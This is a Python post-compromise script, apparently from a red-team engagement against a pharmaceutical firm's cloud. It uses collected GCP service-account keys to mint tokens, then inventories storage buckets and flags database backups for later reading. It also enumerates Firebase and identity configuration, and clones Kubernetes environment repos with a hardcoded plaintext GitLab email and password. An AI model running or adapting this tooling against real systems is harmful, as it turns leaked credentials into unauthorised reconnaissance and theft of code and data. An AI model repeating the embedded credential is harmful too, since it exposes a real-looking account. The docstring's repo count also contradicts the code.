#!/usr/bin/env python3 """GCS object listing + Firebase plane enum + k8s-env clone (operator GO 2026-08-14, vectors a+b+c). (a) GCS: list objects (name/size/updated, NO content download) for all buckets visible to storage-innopharm-prod@cfu-main (22) + virtue-panakea (2) + innopharm-main (1). Caps: 500 objects/bucket. Marker for follow-up gated read: *.sql/*.dump/*.bak/*.archive/*.gz under db-archives/backup buckets. (b) Firebase: for monitoringlogs-bfc19 (firebase-adminsdk SA): Firebase Management API (projects.get, androidApps/iosApps list), IdentityToolkit getProjectConfig, RTDB management discovery. (c) Offline clone: git clone (OAuth token over https) of 6 innopharm/k8s-env/* repos into repos/ — local-only mining afterwards. Egress: storage.googleapis.com, firebase.googleapis.com, identitytoolkit.googleapis.com, firebasedatabase.app, gitlab.pharmalink.id:443 (git https). All read-only. Out: gcs_listing_aug14.json, firebase_enum_aug14.json, repos/, OPLOG entries. """ import base64 import importlib.util import json import subprocess import sys import time import urllib.parse from datetime import datetime, timezone from pathlib import Path ROOT = Path('/root/ir-assessment') DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id' KEYS_DIR = DOSSIER / 'gcp_keys' spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py')) l2s = importlib.util.module_from_spec(spec) spec.loader.exec_module(l2s) def oplog(dst, tool, cmd, desc, output, result): ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M') with open(DOSSIER / 'OPLOG.md', 'a') as f: f.write(f"{ts} | local | {dst} | {tool} | {cmd} | {desc} | {output} | {result} | none | read-only\n") def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b'=') def load_sa(project_id): for f in sorted(KEYS_DIR.iterdir()): try: d = json.loads(f.read_text()) except Exception: continue if isinstance(d, dict) and d.get('type') == 'service_account' and d.get('project_id') == project_id: return d return None def mint_token(sa, scope='https://www.googleapis.com/auth/cloud-platform.read-only'): from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding now = int(time.time()) header = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa.get('private_key_id')} claims = {'iss': sa['client_email'], 'scope': scope, 'aud': 'https://oauth2.googleapis.com/token', 'iat': now, 'exp': now + 3600} si = b64url(json.dumps(header).encode()) + b'.' + b64url(json.dumps(claims).encode()) key = serialization.load_pem_private_key(sa['private_key'].encode(), password=None) jwt = (si + b'.' + b64url(key.sign(si, padding.PKCS1v15(), hashes.SHA256()))).decode() data = urllib.parse.urlencode( {'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion': jwt}).encode() st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'}) return json.loads(body)['access_token'] if st == 200 else None def get_json(url, tok, timeout=30): st, body = l2s.req(url, headers={'Authorization': f'Bearer {tok}'}, timeout=timeout) try: return st, json.loads(body) except Exception: return st, {'_raw': body[:200]} # ---------- (a) GCS object listing ---------- def gcs_listing(): enum = json.loads((DOSSIER / 'gcp_scope_enum_aug14.json').read_text()) out = {} for proj in ('cfu-main', 'virtue-panakea', 'innopharm-main'): buckets = enum[proj].get('gcs_buckets') if not isinstance(buckets, list): continue sa = load_sa(proj) tok = mint_token(sa) proj_out = {} for b in buckets: names, page = [], None total_size = 0 truncated = False while True: url = f'https://storage.googleapis.com/storage/v1/b/{b}/o?maxResults=500&fields=items(name,size,updated,contentType),nextPageToken' if page: url += f'&pageToken={urllib.parse.quote(page)}' st, r = get_json(url, tok) if st != 200: names = {'http': st, 'error': r.get('error', {}).get('message', '')[:150]} break for it in r.get('items', []): names.append({'n': it['name'], 's': int(it.get('size', 0)), 'u': it.get('updated', '')[:10]}) total_size += int(it.get('size', 0)) page = r.get('nextPageToken') if not page: break if len(names) >= 500: truncated = True break if isinstance(names, list): proj_out[b] = {'count': len(names), 'total_mb': round(total_size / 1e6, 1), 'truncated': truncated, 'items': names} else: proj_out[b] = names out[proj] = proj_out listed = sum(1 for v in proj_out.values() if isinstance(v, dict) and 'count' in v) print(f' [{proj}] listed {listed}/{len(buckets)} buckets', file=sys.stderr) return out # ---------- (b) Firebase plane ---------- def firebase_enum(): sa = load_sa('monitoringlogs-bfc19') tok = mint_token(sa) proj = 'monitoringlogs-bfc19' num = '2882385210' # from project_get out = {} st, r = get_json(f'https://firebase.googleapis.com/v1beta1/projects/{proj}', tok) out['firebase_project_get'] = {'http': st, 'body': r if st == 200 else r.get('error', {}).get('message', '')[:200]} st, r = get_json(f'https://firebase.googleapis.com/v1beta1/projects/{proj}/androidApps?pageSize=100', tok) out['android_apps'] = {'http': st, 'apps': [a.get('appId') + ' ' + a.get('packageName', '') for a in r.get('apps', [])] if st == 200 else r.get('error', {}).get('message', '')[:200]} st, r = get_json(f'https://firebase.googleapis.com/v1beta1/projects/{proj}/iosApps?pageSize=100', tok) out['ios_apps'] = {'http': st, 'apps': [a.get('appId') + ' ' + a.get('bundleId', '') for a in r.get('apps', [])] if st == 200 else r.get('error', {}).get('message', '')[:200]} st, r = get_json(f'https://firebase.googleapis.com/v1beta1/projects/{proj}/webApps?pageSize=100', tok) out['web_apps'] = {'http': st, 'apps': [a.get('appId') for a in r.get('apps', [])] if st == 200 else r.get('error', {}).get('message', '')[:200]} st, r = get_json(f'https://identitytoolkit.googleapis.com/v2/projects/{proj}/config', tok) out['identitytoolkit_config'] = {'http': st, 'body': r if st == 200 else r.get('error', {}).get('message', '')[:200]} st, r = get_json(f'https://firebasedatabase.googleapis.com/v1beta/projects/{num}/locations/-/instances', tok) out['rtdb_instances'] = {'http': st, 'body': r if st == 200 else r.get('error', {}).get('message', '')[:200]} return out # ---------- (c) k8s-env clone ---------- K8S_REPOS = [ (1184, 'innopharm/k8s-env/black-bear-keda'), (1160, 'innopharm/k8s-env/black-bear-cronjob'), (1153, 'innopharm/k8s-env/black-bear-production'), (1152, 'innopharm/k8s-env/black-bear-staging'), (1078, 'innopharm/k8s-env/white-panther-cronjob'), (1077, 'innopharm/k8s-env/white-panther-staging'), (1076, 'innopharm/k8s-env/white-panther-production'), (1045, 'innopharm/k8s-env/innopharm-keda'), (762, 'innopharm/k8s-env/innopharm-cronjob'), (757, 'innopharm/k8s-env/innopharm-production'), (756, 'innopharm/k8s-env/innopharm-staging'), (967, 'innopharm/k8s-env/innopharm-production-local'), ] def clone_k8s(): repos_dir = DOSSIER / 'repos' repos_dir.mkdir(exist_ok=True) # OAuth HTTP access token for git over https tok = l2s.oauth('https://gitlab.pharmalink.id', 'marcellowilliam74@gmail.com', '@Cello1333') done, failed = [], [] for pid, path in K8S_REPOS: slug = path.split('/')[-1] dest = repos_dir / slug if dest.exists(): done.append(slug + ' (cached)') continue url = f'https://oauth2:{tok}@gitlab.pharmalink.id/{path}.git' r = subprocess.run(['git', 'clone', '--quiet', '--filter=blob:none', url, str(dest)], capture_output=True, text=True, timeout=180) if r.returncode == 0: # full history fetch with blobs for mining r2 = subprocess.run(['git', '-C', str(dest), 'fetch', '--quiet', '--unfilter'], capture_output=True, text=True, timeout=300) branches = subprocess.run(['git', '-C', str(dest), 'branch', '-a'], capture_output=True, text=True).stdout nfiles = subprocess.run(['bash', '-c', f'find "{dest}" -type f | wc -l'], capture_output=True, text=True).stdout.strip() done.append(f'{slug} (files={nfiles}, unfilter_rc={r2.returncode})') else: failed.append((slug, r.stderr[:120])) print(f' [{slug}] {"ok" if r.returncode == 0 else "FAIL"}', file=sys.stderr) return done, failed def main(): print('[*] (a) GCS object listing', file=sys.stderr) gcs = gcs_listing() (DOSSIER / 'gcs_listing_aug14.json').write_text(json.dumps(gcs, indent=1, ensure_ascii=False)) total = sum(v['count'] for p in gcs.values() for v in p.values() if isinstance(v, dict) and 'count' in v) oplog('storage.googleapis.com:443', 'urllib/GET storage/v1/b/:b/o', 'list objects name/size/updated (no content)', f'GCS listing a+b+c GO', f'objects_listed={total}', 'SUCCESS') print('[*] (b) Firebase plane enum', file=sys.stderr) fb = firebase_enum() (DOSSIER / 'firebase_enum_aug14.json').write_text(json.dumps(fb, indent=1, ensure_ascii=False)) oplog('firebase.googleapis.com,identitytoolkit.googleapis.com,firebasedatabase.googleapis.com:443', 'urllib/GET', 'firebase project/androidApps/iosApps/webApps; identitytoolkit config; rtdb instances', 'Firebase plane enum monitoringlogs-bfc19', '; '.join(f'{k}={v.get("http")}' for k, v in fb.items()), 'SUCCESS') print('[*] (c) k8s-env clone', file=sys.stderr) done, failed = clone_k8s() oplog('gitlab.pharmalink.id:443', 'git clone --filter=blob:none + fetch --unfilter', 'clone 12 innopharm/k8s-env/* repos for offline mining', f'cloned={len(done)} failed={len(failed)} {failed if failed else ""}', 'SUCCESS' if not failed else 'PARTIAL', 'read-only') print(f'[+] cloned {len(done)}, failed {len(failed)}', file=sys.stderr) if __name__ == '__main__': main()